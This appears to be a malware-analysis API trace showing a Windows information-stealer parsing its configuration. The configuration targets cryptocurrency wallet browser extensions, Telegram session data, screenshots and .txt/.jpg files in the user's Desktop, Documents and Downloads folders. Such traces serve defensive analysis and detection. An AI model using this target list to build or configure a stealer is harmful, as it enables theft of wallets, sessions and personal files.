Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.607] lstrlenW (lpString="ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1494 [0260.607] LocalAlloc (uFlags=0x40, uBytes=0xc2c) returned 0x6bba48 [0260.607] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.607] LocalFree (hMem=0x6bba48) returned 0x0 [0260.607] StrStrW (lpFirst="ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.607] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.608] LocalFree (hMem=0x6b9720) returned 0x0 [0260.608] LocalFree (hMem=0x6ba2d8) returned 0x0 [0260.608] LocalFree (hMem=0x6bae90) returned 0x0 [0260.608] StrStrW (lpFirst="ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.608] lstrlenW (lpString="ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1414 [0260.608] lstrlenW (lpString="ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1414 [0260.608] LocalAlloc (uFlags=0x40, uBytes=0xb0c) returned 0x6b9720 [0260.608] lstrlenW (lpString="ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1414 [0260.608] LocalAlloc (uFlags=0x40, uBytes=0xb0c) returned 0x6ba238 [0260.609] lstrlenW (lpString="ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1414 [0260.609] LocalAlloc (uFlags=0x40, uBytes=0xb0c) returned 0x6bad50 [0260.609] StrStrW (lpFirst="ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.609] lstrlenW (lpString="ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1414 [0260.609] LocalAlloc (uFlags=0x40, uBytes=0xb8c) returned 0x6bb868 [0260.609] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.609] LocalFree (hMem=0x6bb868) returned 0x0 [0260.609] StrStrW (lpFirst="ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.609] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.610] LocalFree (hMem=0x6b9720) returned 0x0 [0260.610] LocalFree (hMem=0x6ba238) returned 0x0 [0260.610] LocalFree (hMem=0x6bad50) returned 0x0 [0260.610] StrStrW (lpFirst="ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension 